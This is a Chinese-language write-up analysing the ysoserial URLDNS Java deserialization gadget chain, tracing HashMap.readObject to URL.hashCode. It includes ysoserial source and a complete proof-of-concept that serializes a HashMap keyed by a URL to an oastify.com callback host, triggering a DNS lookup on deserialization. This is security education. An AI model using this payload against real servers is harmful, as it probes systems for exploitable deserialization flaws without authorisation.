URLDNS 链子分析

*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

原理:

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

在利用yso生成链子的时候先从GeneratPayload.class触发

package ysoserial;

import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;

public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public GeneratePayload() {
}

public static void main(String[] args) {
if (args.length != 2) {
printUsage();
System.exit(64);
}

String payloadType = args[0];
String command = args[1];
Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(64);
} else {
try {
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
Utils.releasePayload(payload, object);
} catch (Throwable var7) {
Throwable e = var7;
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(70);
}

System.exit(0);
}
}


然后add添加之后,调用新实例化对象的getObject方法,后面调试跳到了URLDNS.java,且实现了ObjectPayload接口,里面也确实有getObject方法:

重点代码

URLStreamHandler handler = new SilentURLStreamHandler();//创建一个返回URLStreamHandler名为handler的实例SilentURLStreamHandler()
HashMap ht = new HashMap();//创建一个返回HashMap名为ht的实例HashMap()
URL u = new URL((URL)null, url, handler);//创建一个返回URL名字为u的实力URL,并且使用指定构造函数URL(URL context, String spec, URLStreamHandler handler)
ht.put(u, url);//这一行将 URL 对象 u 和对应的 url 字符串存入 HashMap ht
Reflections.setFieldValue(u, "hashCode", -1);//这一行通过反射机制将 URL 对象 u 的 hashCode 字段值设置为 -1(因为 -1 通常表示未初始化的状态)
return ht;//返回值ht

URLStreamHandler 是 Java 中的一个抽象类,用于处理 URL 的协议部分,例如 HTTP、HTTPS、FTP 等。

HashMap 是 Java 中的一种集合类,属于 java.util 包,用于存储键值对(key-value pairs)。

在这里,ht 是一个空的 HashMap,后续将被用来存储 URL 对象和对应的 URL 字符串。

Reflections 可能是一个工具类(例如来自某个库,如 org.reflections),用于简化 Java 反射操作。它的 setFieldValue 方法通过反射修改对象的字段值。

在 Java 的 URL 类中,hashCode 是一个私有字段,用于缓存该 URL 的哈希码。URL 类的 hashCode() 方法会计算并缓存这个值,以便在集合操作(如 HashMap 的键比较)中快速使用。

将 hashCode 设置为 -1 的目的可能是:

  • 强制 URL 对象在下次调用 hashCode() 时重新计算哈希码(因为 -1 通常表示未初始化的状态)。

hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算;还有需要注意的这个接口中:

transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化 
private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。

首先调用HashMap的put方法。

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

会通过hash函数调用key.hashCode()计算key的hashCode;

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

key是传入的URL对象,最终调用URL对象的hashCode函数,

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

handlerURLStreamHandler的对象;handler在构造函数时被赋值了

transient URLStreamHandler handler

接着调用了URLStreamHandler.hashCode中的getHostAddress(u)方法导致DNS解析

InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

POC

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();

URL url = new URL("http://5msdqvjsda7s3f8m8h0vkcsmgdm4avyk.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,2); //为了防止在put时就发起DNS请求,将hashCode的默认值-1改掉,执行不了handler.hashCode(this)

hashmap.put(url, 1);

hashcodefield.set(url,-1);
serialize(hashmap);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

总结

形象的举个例子

埋雷:构造一个带“陷阱”的快递(序列化)

  • 陷阱核心:把URL对象(比如http://xxx.dnslog.cn)塞进HashMap里当“钥匙”(Key),然后序列化这个HashMap。

防止提前触发:URL对象默认会立即查DNS,但黑客用反射修改hashCode属性为123(临时值),避免序列化时触发DNS

寄快递:发送包裹到目标(传输数据)

  • 数据伪装:序列化后的HashMap看起来是普通数据,被发送到目标服务器(比如通过接口、文件上传等途径)。

拆快递:目标拆包裹触发陷阱(反序列化)

自动拆包:服务器反序列化时,会调用HashMap的readObject方法,这是Java默认的反序列化逻辑。

计算“钥匙”哈希值

HashMap会重新计算每个Key的哈希值(hash(key)

  • 此时Key是之前埋入的URL对象,于是调用URL的hashCode()方法。

查地址:触发DNS请求(核心利用)

URL的陷阱逻辑

URL的hashCode发现自己的hashCode是-1(反射改回的初始值),于是调用URLStreamHandler.hashCode()

这个方法内部会解析URL的主机名(如xxx.dnslog.cn),调用InetAddress.getByName()发起DNS查询

结果反馈:DNS查询记录会被攻击者的监控平台(如DNSLog)捕获,证明目标存在反序列化漏洞